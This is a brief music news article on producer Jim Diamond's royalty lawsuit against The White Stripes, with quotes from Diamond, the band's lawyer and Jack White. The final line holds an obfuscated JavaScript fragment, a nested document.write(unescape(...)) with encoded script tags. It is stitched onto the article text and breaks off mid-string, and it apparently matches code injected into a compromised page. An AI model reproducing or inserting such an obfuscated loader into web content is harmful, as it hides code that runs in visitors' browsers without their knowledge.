The White Stripes in court

The White Stripes will face their first producer in court in a royalty dispute.

Detroit-based Jim Diamond, who produced the duo's first two albums, has issued a lawsuit claming he collaborated with the band to help create their sound.

Now a US District judge has ruled Diamond's suit has enough of case to be heard by a jury, with the trial set to start on June 12.

Diamond suggested that although there was no contract, the importance his role was understood by the band because of the way the Detroit music scene operated at the time.

"Everything was, 'Hey, we are all friends. We're having a good time. We're hanging out together,'" he told Detnews.com. "We weren't trying to be like the record industry."

However the band are fighting the case with their lawyer, declaring Dimaond's suit is a "meritless case which will be defended with vigour".

Furthermore, court papers deny the producer had anything to do with the White Stripes' sound, plus Diamond was paid $35 an hour for studio time, and that is all he is owed.

The band have yet to comment directly themselves on the case, though Jack White alluded to the dispute recently.

"It's the year that we found out who weren't our friends. Like the difference between me and Loretta Lynn laughing on a front porch, drinking a beer together, and Jim Diamond suing us," he told The Observer. "Some people, you realise that they're looking at it differently than you're looking at it. Fame and money, that is. Meg has never done anything to anybody. How can someone like Jim Diamond sue Meg?"document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22